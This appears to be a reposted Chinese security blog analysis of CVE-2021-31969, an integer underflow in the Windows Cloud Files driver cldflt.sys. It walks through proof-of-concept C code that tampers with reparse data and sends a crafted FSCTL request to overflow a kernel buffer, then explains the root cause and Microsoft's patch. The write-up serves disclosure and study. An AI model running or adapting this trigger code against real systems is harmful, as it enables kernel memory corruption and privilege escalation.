『安全漏洞』Windows 云同步引擎API整数溢出漏洞
隨著云存儲的普及,各種操作系統都添加了支持此類存儲的服務和功能。現在可以在云端同步本地存儲,同時也可以在系統上檢索到問價。在 Windows 上,這種功能是通過Cloud Sync Engines云同步引擎完成的。該組件公開了一個 Cloud Filter API 的本機 API。該API實現可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介紹了有關此驅動程序中的整數下溢漏洞的一些詳細信息,該漏洞的編號為CVE-2021-31969 / ZDI-21-797,它可以被利用來溢出內核緩沖區并通過權限提升實現代碼執行。
『技術資料』
一、Cloud Sync Engines
Windows 中的Cloud Filter API 啟用是從 Windows 10 版本的 1709 開始。它提供對Cloud Sync Engines云同步引擎的支持并處理創建和管理占位符文件和目錄之類的任務。Cloud Sync Engines云同步引擎是一種在遠程主機和本地客戶端之間同步文件的服務,它允許本地用戶通過 Windows 文件系統和文件資源管理器訪問云托管的文件和目錄。在這種情況下,文件本身駐留在云端,而在你的本地文件系統上,該文件的表示稱為“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存儲標頭所需的幾個字節。當你訪問占位符文件時,Windows 通過同步使關聯的云文件顯示出來。
二、漏洞利用方法
以下是PoC中關鍵步驟的描述:
1:首先執行同步注冊。然后啟動同步提供程序和同步過濾器 API 之間的通信:
WCHAR* dir = (WCHAR*)L"C:\\ProgramData"; GUID guid = { 0 }; guid.Data1 = 0xB196E670; guid.Data2 = 0x59C7; guid.Data3 = 0x4D41; CF_SYNC_REGISTRATION reg = { 0 }; reg.StructSize = sizeof(reg); reg.ProviderName = L"test"; reg.ProviderVersion = L"1.0"; reg.ProviderId = guid; CF_SYNC_POLICIES policies = { 0 }; policies.StructSize = sizeof(policies); policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; policies.InSync = CF_INSYNC_POLICY_NONE; policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); if (FAILED(hr)){ printf("CfRegisterSyncRoot failed with %p\n", hr); return 0; } CF_CALLBACK_REGISTRATION table[2]; table[0].Callback = DoTransferCallback; table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA; table[1].Callback = nullptr; table[1].Type = CF_CALLBACK_TYPE_NONE; CF_CONNECTION_KEY key; hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);2:獲取目標目錄的句柄并通過FSCTL_GET_REPARSE_POINT控制代碼檢索重解析數據:
RtlInitUnicodeString(&name, ntDir); InitializeObjectAttributes(&oa, &name, 0, 0, 0); ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0); if (NT_SUCCESS(ret)) { ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300); if (NT_SUCCESS(ret)) { // ... } }3:修改檢索到的重解析數據,將長度設置為零。然后通過FSCTL_SET_REPARSE_POINT_EX控制代碼將其設置回原位(標簽設置為 0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,設置參數以code= 0xC0000003通過cloud filter FSCTL ( 0x903BC)請求占位符更新。
rb[0xa] = 0;//set (USHORT) length to zero rb[0x9] = 0xfa; rb[0x8] = 0xfa; rb[13] = 0x22; rbLen += *(UINT16*)(rb + 4); rbSet = (char*)malloc(rbLen + setLen); memset(rbSet, 0, rbLen + setLen); *(UINT32*)(rbSet + 0) = 0; *(UINT32*)(rbSet + 4) = 0x9000301A; memcpy(rbSet + setLen, rb, rbLen); ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0); memset(output, 0, 0x100); *(UINT32*)(output + 0) = 0x9000001a; *(UINT32*)(output + 4) = 0xC0000003; *(UINT32*)(output + 8) = 0x10000; ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);三、內核漏洞
內核驅動程序cldflt.sys負責處理cloud filter FSCTL。函數中用了大量 switch 語句來完成工作,這個函數被命名為HsmFltProcessHSMControl:
圖 1 - HsmFltProcessHSMControl 函數
對0xC0000003的操作,最終會調用HsmFltProcessUpdatePlaceholder:
圖 2 - 調用 HsmFltProcessUpdatePlaceholder
經過一些處理,執行流程將達到HsmpRpReadBuffer。首先分配一個緩沖區,然后通過發出一個FSCTL_GET_REPARSE_POINT控制指令來檢索重解析數據。檢索到的數據可能已被攻擊者修改,之后調用HsmpRpiDecompressBuffer:
圖 3 - 調用 HsmpRpiDecompressBuffer
在HsmpRpiDecompressBuffer內部,提供的長度(攻擊者已設置為零)被檢索并增加 8。它保存在局部變量 length 中,然后用于分配內核緩沖區。之后,代碼通過調用RtlDecompressBuffer使用分配的緩沖區作為未壓縮數據的目標緩沖區繼續解壓縮數據。但是,它傳遞給RtlDecompressBuffer的指針不是已分配緩沖區的開始。而是已分配緩沖區開始前的 12 個字節,以便為某些元數據騰出空間。相應地,它傳遞給RtlDecompressBuffer的緩沖區大小是length-12。在下面的反匯編代碼中,減法被優化為ADD。在我們的例子中,這個減法產生了一個整數下溢,因此一個巨大的緩沖區長度值 0xFFFFFFF4 被傳遞給RtlDecompressBuffer,這會導致內核緩沖區溢出。
圖 4 - 整數下溢漏洞
四、補丁分析
Microsoft 通過添加檢查以確保檢索到的長度不小于 4 來修復此漏洞,這使得無法觸發整數下溢。
圖 5 - 來自 Microsoft 的補丁
最后
學習網絡安全可以點擊『網絡安全學習資料~攻略」獲取
總結
以上是生活随笔為你收集整理的『安全漏洞』Windows 云同步引擎API整数溢出漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 使用tracee编写规则追踪系统安全事件
- 下一篇: 【网络安全】}ofCMS代码审计